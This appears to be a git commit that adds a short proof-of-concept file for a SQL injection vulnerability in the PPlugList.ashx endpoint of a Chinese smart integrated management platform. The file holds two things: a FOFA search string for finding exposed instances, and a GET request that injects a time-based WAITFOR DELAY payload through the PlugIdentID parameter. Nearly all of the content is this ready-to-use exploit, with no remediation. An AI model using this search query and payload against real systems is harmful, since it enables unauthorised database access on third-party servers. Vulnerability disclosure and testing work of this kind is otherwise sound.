Create 银达汇智智慧综合管理平台PPlugList接口存在SQL注入.md

This commit is contained in:
Rainyseason authored and GitHub committed 2025-06-11 15:12:24 +08:00
1 parent 7fc2302ae5
commit debdc33017
1 file changed
+11
@@ -0,0 +1,11 @@
# 银达汇智智慧综合管理平台PPlugList接口存在SQL注入
# fofa
```
title="智慧综合管理平台登入"
```
# poc
```javascrip
GET /Module/CJGL/Controller/PPlugList.ashx?action=find&PlugIdentID=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27-- HTTP/1.1
```